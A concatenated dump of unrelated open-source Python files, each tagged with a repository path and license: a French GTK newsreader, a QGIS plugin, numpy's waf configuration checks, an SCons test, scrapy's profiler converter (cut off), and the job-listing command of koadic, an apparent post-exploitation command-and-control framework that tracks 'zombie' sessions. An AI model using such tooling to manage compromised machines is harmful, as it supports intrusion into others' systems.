if dialog.run() == gtk.RESPONSE_OK:
if not(self.article_tab.display_msgid(dialog.msgid)):
self.error_msgbox(u'Impossible de trouver le message '
+ dialog.msgid)
dialog.destroy()
def action_msgviewraw_callback(self, action):
if self.current_article:
source = self.conf.server.get_by_msgid(self.current_article)
# Préparation de la fenêtre
dialog = gtk.Dialog(u"Affichage du message " + self.current_article,
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_CLOSE, gtk.RESPONSE_DELETE_EVENT))
text_buffer = gtk.TextBuffer(self.conf.tagtable)
text_widget = gtk.TextView(text_buffer)
text_widget.set_property("editable", False)
text_widget.modify_font(pango.FontDescription("monospace"))
text_container = gtk.ScrolledWindow()
text_container.set_policy(gtk.POLICY_AUTOMATIC,
gtk.POLICY_AUTOMATIC)
text_container.add_with_viewport(text_widget)
dialog.vbox.pack_start(text_container, True, True, 0)
dialog.vbox.show_all()
dialog.set_default_size(600, 400)
for l in source[0]:
if ':' in l:
name, text = l.split(':', 1)
text_buffer.insert_with_tags_by_name(
text_buffer.get_end_iter(),
name.decode("latin-1") + ': ', "head_name")
else:
text = l
text_buffer.insert_with_tags_by_name(
text_buffer.get_end_iter(),
text.decode("latin-1") + '\n', "head_content")
text_buffer.insert(text_buffer.get_end_iter(), '\n')
for l in source[1]:
text_buffer.insert_with_tags_by_name(
text_buffer.get_end_iter(),
l.decode("latin-1") + '\n', "body")
dialog.run()
dialog.destroy()
def action_rot13ify_callback(self, action):
if action.get_active():
self.article_tab.set_rot13()
else:
self.article_tab.unset_rot13()
def action_history_callback(self, action):
# Préparation de la fenêtre
dialog = gtk.Dialog(u'Historique', self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK,
gtk.STOCK_CLOSE, gtk.RESPONSE_DELETE_EVENT))
list_data = gtk.ListStore(gobject.TYPE_STRING,
gobject.TYPE_STRING,
gobject.TYPE_STRING,
gobject.TYPE_STRING)
list_data.clear()
for msgid in self.history:
heads = self.conf.server.cache[msgid].headers
list_data.prepend(
[heads['Subject'], heads['From'],
heads['Xref'].split()[1], msgid])
list_widget = gtk.TreeView(list_data)
list_widget.set_model(list_data)
list_widget.append_column(gtk.TreeViewColumn(
u'Sujet', gtk.CellRendererText(), text=0))
list_widget.append_column(gtk.TreeViewColumn(
u'Auteur', gtk.CellRendererText(), text=1))
list_widget.append_column(gtk.TreeViewColumn(
u'Groupe et numéro', gtk.CellRendererText(), text=2))
list_widget.append_column(gtk.TreeViewColumn(
u'Message-ID', gtk.CellRendererText(), text=3))
list_container = gtk.ScrolledWindow()
list_container.add(list_widget)
list_container.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC)
dialog.vbox.pack_start(
gtk.Label(u"Messages lus dans cette session\n" +
"(dans l'ordre chronologique inverse)"),
False, False, 5)
dialog.vbox.pack_start(list_container)
dialog.vbox.show_all()
dialog.set_default_size(400, 500)
if dialog.run() == gtk.RESPONSE_OK:
model, item = list_widget.get_selection().get_selected()
msgid = list_data.get_value(item, 3)
self.article_tab.display(self.conf.server.cache[msgid])
dialog.destroy()
def action_quit_callback(self, foo=None, bar=None):
"""Quitte le programme"""
self.window.destroy()
self.conf.save_newsrc()
gtk.main_quit()
return False
def action_quit_kill_callback(self, foo=None, bar=None):
"""Quitte le programme sans sauver le newsrc"""
self.window.destroy()
try: self.tree_tab.window.visible = 0
except KeyError: pass
gtk.main_quit()
return False
def create_article_tagtable(self, config):
item = gtk.TextTagTable()
# En-Têtes
tag = gtk.TextTag("head_name")
tag.set_property("style", pango.STYLE_ITALIC)
tag.set_property("foreground", "SeaGreen")
item.add(tag)
tag = gtk.TextTag("head_content")
tag.set_property("style", pango.STYLE_ITALIC)
tag.set_property("foreground", "DarkSlateGray")
item.add(tag)
# Corps de l'article
tag = gtk.TextTag("body")
item.add(tag)
tag = gtk.TextTag("signature")
tag.set_property("weight", pango.WEIGHT_BOLD)
tag.set_property("foreground", "MidnightBlue")
item.add(tag)
# Liens
tag = gtk.TextTag("link")
tag.set_property("underline", pango.UNDERLINE_SINGLE)
tag.set_property("foreground", "blue")
item.add(tag)
# Citations
tag = gtk.TextTag("quote1")
tag.set_property("style", pango.STYLE_OBLIQUE)
tag.set_property("foreground", "DarkRed")
item.add(tag)
tag = gtk.TextTag("quote2")
tag.set_property("style", pango.STYLE_OBLIQUE)
tag.set_property("foreground", "ForestGreen")
item.add(tag)
tag = gtk.TextTag("quote3")
tag.set_property("style", pango.STYLE_OBLIQUE)
tag.set_property("foreground", "DarkCyan")
item.add(tag)
return item
def error_msgbox(self, string):
"""À invoquer en cas de NNTPError"""
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_ERROR,
gtk.BUTTONS_CLOSE, string)
dialog.run()
dialog.destroy()
def init_common(self, conf_source):
# Configuration
self.conf = conf_source
self.conf.tagtable = self.create_article_tagtable(self.conf)
# On vérifie s'il y a besoin d'une authentification
if self.conf.server.needs_auth:
auth_dlg = gtk.Dialog(
"Authentification", None,
gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK,
gtk.STOCK_CLOSE, gtk.RESPONSE_DELETE_EVENT))
# Un petit message.
warning_label = gtk.Label()
warning_label.set_markup(
u'<span foreground="red"><big><b>Attention ! ' +
u'Ce serveur nécessite une authentification par '+
u"mot de passe. CE N'EST PAS le mot de passe " +
u'qui vous sert à vous connecter sur les ordinateurs.' +
u'</b></big></span>')
warning_label.set_line_wrap(True)
# La boîte d'entrée du login
hbox1 = gtk.HBox()
hbox1.pack_start(gtk.Label("Login"), False, False, 5)
user_entry = gtk.Entry()
hbox1.pack_start(user_entry, True, True, 0)
# La boîte d'entré du password
hbox2 = gtk.HBox()
hbox2.pack_start(gtk.Label("Mot de passe"), False, False, 5)
pass_entry = gtk.Entry()
pass_entry.set_property("visibility", False)
hbox2.pack_start(pass_entry, True, True, 0)
auth_dlg.vbox.pack_start(warning_label)
auth_dlg.vbox.pack_start(hbox1)
auth_dlg.vbox.pack_start(hbox2)
auth_dlg.vbox.show_all()
ptr = []
def get_data(widget, resp_id, data):
if resp_id == gtk.RESPONSE_OK:
data.append(hbox1.get_text())
data.append(hbox2.get_text())
auth_dlg.connect("response", get_data, ptr)
if auth_dlg.run() == gtk.RESPONSE_OK:
self.conf.server.authenticate(ptr[0], ptr[1])
auth_dlg.destroy()
else:
auth_dlg.destroy()
sys.exit(0)
# La définition des menus et boutons
xml_source = """
<ui>
<menubar>
<menu name="GrpMenu" action="GrpMenuAction">
<menuitem name="GrpGoto" action="GrpGotoAction"/>
<menuitem name="Subscribe" action="SubscribeAction"/>
<menuitem name="GrpSync" action="GrpSyncAction"/>
</menu>
<menu name="SumMenu" action="SumMenuAction">
<menuitem name="SumGoto" action="SumGotoAction"/>
<menuitem name="Overview" action="OverviewAction"/>
<separator/>
<menuitem name="NextUnread" action="NextUnreadAction"/>
<menuitem name="ZapReplies" action="ZapRepliesAction"/>
<menuitem name="ZapThread" action="ZapThreadAction"/>
<menuitem name="UnzapReplies" action="UnzapRepliesAction"/>
<menuitem name="UnzapThread" action="UnzapThreadAction"/>
<separator/>
<menuitem name="SaveTreeAsImage" action="SaveTreeAsImageAction"/>
</menu>
<menu name="ArtMenu" action="ArtMenuAction">
<menuitem name="New" action="NewAction"/>
<menuitem name="Reply" action="ReplyAction"/>
<menuitem name="Cancel" action="CancelAction"/>
<menuitem name="Supersede" action="SupsedeAction"/>
<separator/>
<menuitem name="ParentGoto" action="GotoParentAction"/>
<menuitem name="MsgidGoto" action="MsgidGotoAction"/>
<menuitem name="HistoryShow" action="HistoryAction"/>
<separator/>
<menuitem name="MsgViewRaw" action="MsgViewRawAction"/>
<menuitem name="MsgRot13ify" action="MsgRot13Action"/>
</menu>
<menu name="ProgMenu" action="ProgMenuAction">
<menuitem name="QuitMenu" action="QuitAction"/>
<menuitem name="QuitKillMenu" action="QuitKillAction"/>
</menu>
</menubar>
<toolbar>
<toolitem name="New" action="NewAction"/>
<toolitem name="Reply" action="ReplyAction"/>
<separator/>
<toolitem name="NextGoto" action="NextUnreadAction"/>
<toolitem name="ParentGoto" action="GotoParentAction"/>
<separator/>
<toolitem name="Quit" action="QuitAction"/>
</toolbar>
</ui>
"""
self.ui_manager = gtk.UIManager()
self.ui_manager.add_ui_from_string(xml_source)
self.action_group = gtk.ActionGroup("MainActions")
self.action_group.add_actions([
("GrpMenuAction", None, "_Groupes", None, None, None),
("GrpGotoAction", None, "_Changer de groupe", "g",
u"Aller dans un groupe donné", self.action_grpgoto_callback),
("SubscribeAction", None, u"_Gérer les abonnements", "L",
u"Gérer les abonnements aux groupes",
self.action_subscribe_callback),
("GrpSyncAction", None, u"_Rafraîchir la liste des groupes",
None, u"Recharger la liste des groupes du serveur",
self.action_syncgroups_callback),
("SumMenuAction", None, "_Sommaire", None, None, None),
("SumGotoAction", None, u"_Voir l'article numéro...", "v",
u"Voir le n-ième article du groupe",
self.action_sumgoto_callback),
("OverviewAction", None, u"Voir le sommai_re du groupe...", "r",
u"Voir le sommaire du groupe...", self.action_overview_callback),
("NextUnreadAction", gtk.STOCK_GO_FORWARD, "Article sui_vant",
"n", "Aller àu prochain article non lu",
self.action_nextunread_callback),
("ZapRepliesAction", gtk.STOCK_MEDIA_FORWARD,
"Marquer la suite de la discussion comme lue", "<shift>K",
"", self.action_killreplies_callback),
("ZapThreadAction", gtk.STOCK_CLEAR,
"Marquer la discussion comme lue", "<shift>J", "",
self.action_killthread_callback),
("UnzapRepliesAction", gtk.STOCK_MEDIA_REWIND,
"Marquer la suite de la discussion comme non lue", "<ctrl><shift>K",
"", self.action_unkillreplies_callback),
("UnzapThreadAction", gtk.STOCK_UNDELETE,
"Marquer la discussion comme non lue", "<ctrl><shift>J", "",
self.action_unkillthread_callback),
("SaveTreeAsImageAction", None, "Exporter l'arbre...", None,
"Enregistre l'arbre de la discussion dans une image",
self.action_savetreeasimage),
("ArtMenuAction", None, "_Articles", None, None, None),
("NewAction", gtk.STOCK_NEW, "_Nouveau message", "M",
u"Écrire un nouveau message", self.action_new_callback),
("ReplyAction", gtk.STOCK_REDO, u"_Répondre", "<shift>R",
u"Répondre à un message", self.action_reply_callback),
("CancelAction", gtk.STOCK_DELETE, "_Cancel", "e",
u"Effacer un message (cancel)", self.action_cancel_callback),
("SupsedeAction", gtk.STOCK_STRIKETHROUGH, "_Supersede", None,
u"Remplacer un message (supersede)",
self.action_supsede_callback),
("GotoParentAction", gtk.STOCK_GO_UP, "Aller au _parent", "asciicircum",
u"Aller au message parent", self.action_goto_parent_callback),
("MsgidGotoAction", gtk.STOCK_JUMP_TO, u"Suivre le Ms_gId...",
None, u"Voir un article donné par son Message-Id",
self.action_msgidgoto_callback),
("MsgViewRawAction", None, u"_Voir un article brut", "<shift>V",
u"Voir l'article brut (tel qu'il est sur le serveur)",
self.action_msgviewraw_callback),
("HistoryAction", None, "_Historique", "<shift>H",
u"Voir l'historique des messages consultés",
self.action_history_callback),
("ProgMenuAction", None, "_Programme", None, None, None),
("QuitAction", gtk.STOCK_QUIT, "_Quitter", "<control>Q",
u"Quitter le programme", self.action_quit_callback),
("QuitKillAction", gtk.STOCK_STOP, "Quitter _sans sauver",
"<control><shift>Q",
u"Quitter le programme sans enregistrer les messages lus",
self.action_quit_kill_callback)])
self.action_group.add_toggle_actions([
("MsgRot13Action", gtk.STOCK_SORT_ASCENDING,
u"Transformée par _Rot13", "<shift>X",
"Afficher le message en rot13", self.action_rot13ify_callback)])
self.ui_manager.insert_action_group(self.action_group, 0)
# Définitions pour la fenêtre principale
self.window = gtk.Window(gtk.WINDOW_TOPLEVEL)
self.window.set_title(self.conf.my_hdrs['User-Agent'])
self.window.set_default_size(1000,700)
self.window.connect("delete_event", self.action_quit_callback)
self.window.add_accel_group(self.ui_manager.get_accel_group())
# Boîte principale
self.vbox_big = gtk.VBox()
self.window.add(self.vbox_big)
self.vbox_big.show()
# Barre de boutons
self.vbox_big.pack_start(
self.ui_manager.get_widget("/ui/menubar"), False, False, 0)
self.vbox_big.pack_start(
self.ui_manager.get_widget("/ui/toolbar"), False, False, 0)
self.vbox_big.show_all()
# Panneau à contis
self.panel_big = gtk.HPaned()
self.vbox_big.pack_start(self.panel_big, True, True, 0)
self.panel_big.show()
self.group_tab = GroupBuffer(self, self.panel_big.pack1)
self.group_tab.widget.get_selection().connect(
"changed", self.select_group_callback)
| gpl-3.0 |
spaceof7/QGIS | python/plugins/processing/algs/exampleprovider/ProcessingExampleProviderPlugin.py | 16 | 1742 | # -*- coding: utf-8 -*-
"""
***************************************************************************
__init__.py
---------------------
Date : July 2013
Copyright : (C) 2013 by Victor Olaya
Email : volayaf at gmail dot com
***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************
"""
__author__ = 'Victor Olaya'
__date__ = 'July 2013'
__copyright__ = '(C) 2013, Victor Olaya'
# This will get replaced with a git SHA1 when you do a git archive
__revision__ = '$Format:%H$'
import os
import sys
import inspect
from qgis.core import QgsApplication
from processing.core.Processing import Processing
from exampleprovider.ExampleAlgorithmProvider import ExampleAlgorithmProvider
cmd_folder = os.path.split(inspect.getfile(inspect.currentframe()))[0]
if cmd_folder not in sys.path:
sys.path.insert(0, cmd_folder)
class ProcessingExampleProviderPlugin:
def __init__(self):
self.provider = ExampleAlgorithmProvider()
def initGui(self):
QgsApplication.processingRegistry().addProvider(self.provider)
def unload(self):
QgsApplication.processingRegistry().removeProvider(self.provider)
| gpl-2.0 |
SunghanKim/numpy | numpy/_build_utils/waf.py | 71 | 15164 | from __future__ import division, absolute_import, print_function
import os
import re
import waflib.Configure
import waflib.Tools.c_config
from waflib import Logs, Utils
from .common \
import \
LONG_DOUBLE_REPRESENTATION_SRC, pyod, \
long_double_representation
DEFKEYS = waflib.Tools.c_config.DEFKEYS
DEFINE_COMMENTS = "define_commentz"
def to_header(dct):
if 'header_name' in dct:
dct = Utils.to_list(dct['header_name'])
return ''.join(['#include <%s>\n' % x for x in dct])
return ''
# Make the given string safe to be used as a CPP macro
def sanitize_string(s):
key_up = s.upper()
return re.sub('[^A-Z0-9_]', '_', key_up)
def validate_arguments(self, kw):
if not 'env' in kw:
kw['env'] = self.env.derive()
if not "compile_mode" in kw:
kw["compile_mode"] = "c"
if not 'compile_filename' in kw:
kw['compile_filename'] = 'test.c' + \
((kw['compile_mode'] == 'cxx') and 'pp' or '')
if not 'features' in kw:
kw['features'] = [kw['compile_mode']]
if not 'execute' in kw:
kw['execute'] = False
if not 'okmsg' in kw:
kw['okmsg'] = 'yes'
if not 'errmsg' in kw:
kw['errmsg'] = 'no !'
if 'define_name' in kw:
comment = kw.get('define_comment', None)
self.undefine_with_comment(kw['define_name'], comment)
def try_compile(self, kw):
self.start_msg(kw["msg"])
ret = None
try:
ret = self.run_c_code(**kw)
except self.errors.ConfigurationError as e:
self.end_msg(kw['errmsg'], 'YELLOW')
if Logs.verbose > 1:
raise
else:
self.fatal('The configuration failed')
else:
kw['success'] = ret
self.end_msg(self.ret_msg(kw['okmsg'], kw))
@waflib.Configure.conf
def check_header(self, header_name, **kw):
code = """
%s
int main()
{
}
""" % to_header({"header_name": header_name})
kw["code"] = code
kw["define_comment"] = "/* Define to 1 if you have the <%s> header file. */" % header_name
kw["define_name"] = "HAVE_%s" % sanitize_string(header_name)
if not "features" in kw:
kw["features"] = ["c"]
kw["msg"] = "Checking for header %r" % header_name
validate_arguments(self, kw)
try_compile(self, kw)
ret = kw["success"]
if ret == 0:
kw["define_value"] = 1
else:
kw["define_value"] = 0
self.post_check(**kw)
if not kw.get('execute', False):
return ret == 0
return ret
@waflib.Configure.conf
def check_declaration(self, symbol, **kw):
code = r"""
int main()
{
#ifndef %s
(void) %s;
#endif
;
return 0;
}
""" % (symbol, symbol)
kw["code"] = to_header(kw) + code
kw["msg"] = "Checking for macro %r" % symbol
kw["errmsg"] = "not found"
kw["okmsg"] = "yes"
validate_arguments(self, kw)
try_compile(self, kw)
ret = kw["success"]
kw["define_name"] = "HAVE_DECL_%s" % sanitize_string(symbol)
kw["define_comment"] = "/* Set to 1 if %s is defined. */" % symbol
self.post_check(**kw)
if not kw.get('execute', False):
return ret == 0
return ret
@waflib.Configure.conf
def check_type(self, type_name, **kw):
code = r"""
int main() {
if ((%(type_name)s *) 0)
return 0;
if (sizeof (%(type_name)s))
return 0;
}
""" % {"type_name": type_name}
kw["code"] = to_header(kw) + code
kw["msg"] = "Checking for type %r" % type_name
kw["errmsg"] = "not found"
kw["okmsg"] = "yes"
validate_arguments(self, kw)
try_compile(self, kw)
ret = kw["success"]
if ret == 0:
kw["define_value"] = 1
else:
kw["define_value"] = 0
kw["define_name"] = "HAVE_%s" % sanitize_string(type_name)
kw["define_comment"] = "/* Define to 1 if the system has the type `%s'. */" % type_name
self.post_check(**kw)
if not kw.get('execute', False):
return ret == 0
return ret
def do_binary_search(conf, type_name, kw):
code = """\
typedef %(type)s waf_check_sizeof_type;
int main ()
{
static int test_array [1 - 2 * !(((long) (sizeof (waf_check_sizeof_type))) >= 0)];
test_array [0] = 0
;
return 0;
}
""" % {"type": type_name}
kw["code"] = to_header(kw) + code
try:
conf.run_c_code(**kw)
except conf.errors.ConfigurationError as e:
conf.end_msg("failed !")
if waflib.Logs.verbose > 1:
raise
else:
conf.fatal("The configuration failed !")
body = r"""
typedef %(type)s waf_check_sizeof_type;
int main ()
{
static int test_array [1 - 2 * !(((long) (sizeof (waf_check_sizeof_type))) <= %(size)s)];
test_array [0] = 0
;
return 0;
}
"""
# The principle is simple: we first find low and high bounds
# of size for the type, where low/high are looked up on a log
# scale. Then, we do a binary search to find the exact size
# between low and high
low = 0
mid = 0
while True:
try:
kw["code"] = to_header(kw) + body % {"type": type_name, "size": mid}
validate_arguments(conf, kw)
conf.run_c_code(**kw)
break
except conf.errors.ConfigurationError:
#log.info("failure to test for bound %d" % mid)
low = mid + 1
mid = 2 * mid + 1
high = mid
ret = None
# Binary search:
while low != high:
mid = (high - low) / 2 + low
try:
kw["code"] = to_header(kw) + body % {"type": type_name, "size": mid}
validate_arguments(conf, kw)
ret = conf.run_c_code(**kw)
high = mid
except conf.errors.ConfigurationError:
low = mid + 1
return low
@waflib.Configure.conf
def check_type_size(conf, type_name, expected_sizes=None, **kw):
kw["define_name"] = "SIZEOF_%s" % sanitize_string(type_name)
kw["define_comment"] = "/* The size of `%s', as computed by sizeof. */" % type_name
kw["msg"] = "Checking sizeof(%s)" % type_name
validate_arguments(conf, kw)
conf.start_msg(kw["msg"])
if expected_sizes is not None:
try:
val = int(expected_sizes)
except TypeError:
values = expected_sizes
else:
values = [val]
size = None
for value in values:
code = """\
typedef %(type)s waf_check_sizeof_type;
int main ()
{
static int test_array [1 - 2 * !(((long) (sizeof (waf_check_sizeof_type))) == %(size)d)];
test_array [0] = 0
;
return 0;
}
""" % {"type": type_name, "size": value}
kw["code"] = to_header(kw) + code
try:
conf.run_c_code(**kw)
size = value
break
except conf.errors.ConfigurationError:
pass
if size is None:
size = do_binary_search(conf, type_name, kw)
else:
size = do_binary_search(conf, type_name, kw)
kw["define_value"] = size
kw["success"] = 0
conf.end_msg(size)
conf.post_check(**kw)
return size
@waflib.Configure.conf
def check_functions_at_once(self, funcs, **kw):
header = []
header = ['#ifdef __cplusplus']
header.append('extern "C" {')
header.append('#endif')
for f in funcs:
header.append("\tchar %s();" % f)
# Handle MSVC intrinsics: force MS compiler to make a function
# call. Useful to test for some functions when built with
# optimization on, to avoid build error because the intrinsic
# and our 'fake' test declaration do not match.
header.append("#ifdef _MSC_VER")
header.append("#pragma function(%s)" % f)
header.append("#endif")
header.append('#ifdef __cplusplus')
header.append('};')
header.append('#endif')
funcs_decl = "\n".join(header)
tmp = []
for f in funcs:
tmp.append("\t%s();" % f)
tmp = "\n".join(tmp)
code = r"""
%(include)s
%(funcs_decl)s
int main (void)
{
%(tmp)s
return 0;
}
""" % {"tmp": tmp, "include": to_header(kw), "funcs_decl": funcs_decl}
kw["code"] = code
if not "features" in kw:
kw["features"] = ["c", "cprogram"]
msg = ", ".join(funcs)
if len(msg) > 30:
_funcs = list(funcs)
msg = []
while len(", ".join(msg)) < 30 and _funcs:
msg.append(_funcs.pop(0))
msg = ", ".join(msg) + ",..."
if "lib" in kw:
kw["msg"] = "Checking for functions %s in library %r" % (msg, kw["lib"])
else:
kw["msg"] = "Checking for functions %s" % msg
validate_arguments(self, kw)
try_compile(self, kw)
ret = kw["success"]
# We set the config.h define here because we need to define several of them
# in one shot
if ret == 0:
for f in funcs:
self.define_with_comment("HAVE_%s" % sanitize_string(f), 1,
"/* Define to 1 if you have the `%s' function. */" % f)
self.post_check(**kw)
if not kw.get('execute', False):
return ret == 0
return ret
@waflib.Configure.conf
def check_inline(conf, **kw):
validate_arguments(conf, kw)
code = """
#ifndef __cplusplus
static %(inline)s int static_func (void)
{
return 0;
}
%(inline)s int nostatic_func (void)
{
return 0;
}
#endif"""
conf.start_msg("Checking for inline support")
inline = None
for k in ['inline', '__inline__', '__inline']:
try:
kw["code"] = code % {"inline": k}
ret = conf.run_c_code(**kw)
inline = k
break
except conf.errors.ConfigurationError:
pass
if inline is None:
conf.end_msg("failed", 'YELLOW')
if Logs.verbose > 1:
raise
else:
conf.fatal('The configuration failed')
else:
kw['success'] = ret
conf.end_msg(inline)
return inline
@waflib.Configure.conf
def check_ldouble_representation(conf, **kw):
msg = {
'INTEL_EXTENDED_12_BYTES_LE': "Intel extended, little endian",
'INTEL_EXTENDED_16_BYTES_LE': "Intel extended, little endian",
'IEEE_QUAD_BE': "IEEE Quad precision, big endian",
'IEEE_QUAD_LE': "IEEE Quad precision, little endian",
'IEEE_DOUBLE_LE': "IEEE Double precision, little endian",
'IEEE_DOUBLE_BE': "IEEE Double precision, big endian"
}
code = LONG_DOUBLE_REPRESENTATION_SRC % {'type': 'long double'}
validate_arguments(conf, kw)
conf.start_msg("Checking for long double representation... ")
try:
kw["code"] = code
ret = conf.run_c_code(**kw)
except conf.errors.ConfigurationError as e:
conf.end_msg(kw['errmsg'], 'YELLOW')
if Logs.verbose > 1:
raise
else:
conf.fatal('The configuration failed')
else:
task_gen = conf.test_bld.groups[0][0]
obj_filename = task_gen.tasks[0].outputs[0].abspath()
tp = long_double_representation(pyod(obj_filename))
kw['success'] = ret
conf.end_msg(msg[tp])
kw["define_name"] = "HAVE_LDOUBLE_%s" % tp
kw["define_comment"] = "/* Define for arch-specific long double representation */"
ret = kw["success"]
conf.post_check(**kw)
if not kw.get('execute', False):
return ret == 0
return ret
@waflib.Configure.conf
def post_check(self, *k, **kw):
"set the variables after a test was run successfully"
is_success = False
if kw['execute']:
if kw['success'] is not None:
if kw.get('define_ret', False):
is_success = kw['success']
else:
is_success = (kw['success'] == 0)
else:
is_success = (kw['success'] == 0)
def define_or_stuff():
nm = kw['define_name']
cmt = kw.get('define_comment', None)
value = kw.get("define_value", is_success)
if kw['execute'] and kw.get('define_ret', None) and isinstance(is_success, str):
self.define_with_comment(kw['define_name'], value, cmt, quote=kw.get('quote', 1))
else:
self.define_cond(kw['define_name'], value, cmt)
if 'define_name' in kw:
define_or_stuff()
if is_success and 'uselib_store' in kw:
from waflib.Tools import ccroot
# TODO see get_uselib_vars from ccroot.py
_vars = set([])
for x in kw['features']:
if x in ccroot.USELIB_VARS:
_vars |= ccroot.USELIB_VARS[x]
for k in _vars:
lk = k.lower()
if k == 'INCLUDES': lk = 'includes'
if k == 'DEFKEYS': lk = 'defines'
if lk in kw:
val = kw[lk]
# remove trailing slash
if isinstance(val, str):
val = val.rstrip(os.path.sep)
self.env.append_unique(k + '_' + kw['uselib_store'], val)
return is_success
@waflib.Configure.conf
def define_with_comment(conf, define, value, comment=None, quote=True):
if comment is None:
return conf.define(define, value, quote)
assert define and isinstance(define, str)
comment_tbl = conf.env[DEFINE_COMMENTS] or {}
comment_tbl[define] = comment
conf.env[DEFINE_COMMENTS] = comment_tbl
return conf.define(define, value, quote)
@waflib.Configure.conf
def undefine_with_comment(conf, define, comment=None):
if comment is None:
return conf.undefine(define)
comment_tbl = conf.env[DEFINE_COMMENTS] or {}
comment_tbl[define] = comment
conf.env[DEFINE_COMMENTS] = comment_tbl
conf.undefine(define)
@waflib.Configure.conf
def get_comment(self, key):
assert key and isinstance(key, str)
if key in self.env[DEFINE_COMMENTS]:
return self.env[DEFINE_COMMENTS][key]
return None
@waflib.Configure.conf
def define_cond(self, name, value, comment):
"""Conditionally define a name.
Formally equivalent to: if value: define(name, 1) else: undefine(name)"""
if value:
self.define_with_comment(name, value, comment)
else:
self.undefine(name)
@waflib.Configure.conf
def get_config_header(self, defines=True, headers=False, define_prefix=None):
"""
Create the contents of a ``config.h`` file from the defines and includes
set in conf.env.define_key / conf.env.include_key. No include guards are added.
:param defines: write the defines values
:type defines: bool
:param headers: write the headers
:type headers: bool
:return: the contents of a ``config.h`` file
:rtype: string
"""
tpl = self.env["CONFIG_HEADER_TEMPLATE"] or "%(content)s"
lst = []
if headers:
for x in self.env[INCKEYS]:
lst.append('#include <%s>' % x)
if defines:
for x in self.env[DEFKEYS]:
cmt = self.get_comment(x)
if cmt is not None:
lst.append(cmt)
if self.is_defined(x):
val = self.get_define(x)
lst.append('#define %s %s\n' % (x, val))
else:
lst.append('/* #undef %s */\n' % x)
return tpl % {"content": "\n".join(lst)}
| bsd-3-clause |
datalogics/scons | test/scons-time/func/prefix.py | 2 | 2038 | #!/usr/bin/env python
#
# __COPYRIGHT__
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__revision__ = "__FILE__ __REVISION__ __DATE__ __DEVELOPER__"
"""
Verify that the func -p and --prefix options specify what log files to use.
"""
import os.path
import TestSCons_time
test = TestSCons_time.TestSCons_time(match = TestSCons_time.match_re)
try:
import pstats
except ImportError:
test.skip_test('No pstats module, skipping test.\n')
input = """\
def _main():
pass
"""
foo_lines = []
bar_lines = []
for i in xrange(2):
test.profile_data('foo-%s.prof' % i, 'prof.py', '_main', input)
foo_lines.append(r'\d.\d\d\d prof\.py:1\(_main\)' + '\n')
for i in xrange(4):
test.profile_data('bar-%s.prof' % i, 'prof.py', '_main', input)
bar_lines.append(r'\d.\d\d\d prof\.py:1\(_main\)' + '\n')
foo_expect = ''.join(foo_lines)
bar_expect = ''.join(bar_lines)
test.run(arguments = 'func -p bar', stdout = bar_expect)
test.run(arguments = 'func --prefix=foo', stdout = foo_expect)
test.pass_test()
| mit |
TheNaterz/koadic | core/commands/jobs.py | 1 | 1058 | DESCRIPTION = "shows info about jobs"
def autocomplete(shell, line, text, state):
pass
def help(shell):
pass
def print_job(shell, id):
for stager in shell.stagers:
for session in stager.sessions:
for job in session.jobs:
if job.id == int(id):
job.display()
def print_all_jobs(shell):
formats = "\t{0:<5}{1:<10}{2:<20}{3:<40}"
shell.print_plain("")
shell.print_plain(formats.format("ID", "STATUS", "ZOMBIE", "NAME"))
shell.print_plain(formats.format("-"*4, "-"*9, "-"*10, "-"*20))
for stager in shell.stagers:
for session in stager.sessions:
for job in session.jobs:
zombie = "%s (%d)" % (session.ip, session.id)
shell.print_plain(formats.format(job.id, job.status_string(), zombie, job.name))
shell.print_plain("")
def execute(shell, cmd):
splitted = cmd.strip().split(" ")
if len(splitted) > 1:
id = splitted[1]
print_job(shell, id)
return
print_all_jobs(shell)
| apache-2.0 |
AaronTao1990/scrapy | scrapy/xlib/lsprofcalltree.py | 149 | 3652 | # lsprofcalltree.py: lsprof output which is readable by kcachegrind
# David Allouche
# Jp Calderone & Itamar Shtull-Trauring
# Johan Dahlin
from __future__ import print_function
import optparse
import os
import sys
try:
import cProfile
except ImportError:
raise SystemExit("This script requires cProfile from Python 2.5")
def label(code):
if isinstance(code, str):
return ('~', 0, code) # built-in functions ('~' sorts at the end)
else:
return '%s %s:%d' % (code.co_name,
code.co_filename,
code.co_firstlineno)
class KCacheGrind(object):
def __init__(self, profiler):
self.data = profiler.getstats()
self.out_file = None
def output(self, out_file):
self.out_file = out_file
print('events: Ticks', file=out_file)
self._print_summary()
for entry in self.data:
self._entry(entry)
def _print_summary(self):
max_cost = 0
for entry in self.data:
totaltime = int(entry.totaltime * 1000)
max_cost = max(max_cost, totaltime)
print('summary: %d' % (max_cost,), file=self.out_file)
def _entry(self, entry):
out_file = self.out_file
code = entry.code
#print >> out_file, 'ob=%s' % (code.co_filename,)
if isinstance(code, str):
print('fi=~', file=out_file)
else:
print('fi=%s' % (code.co_filename,), file=out_file)
print('fn=%s' % (label(code),), file=out_file)
inlinetime = int(entry.inlinetime * 1000)
if isinstance(code, str):
print('0 ', inlinetime, file=out_file)
else:
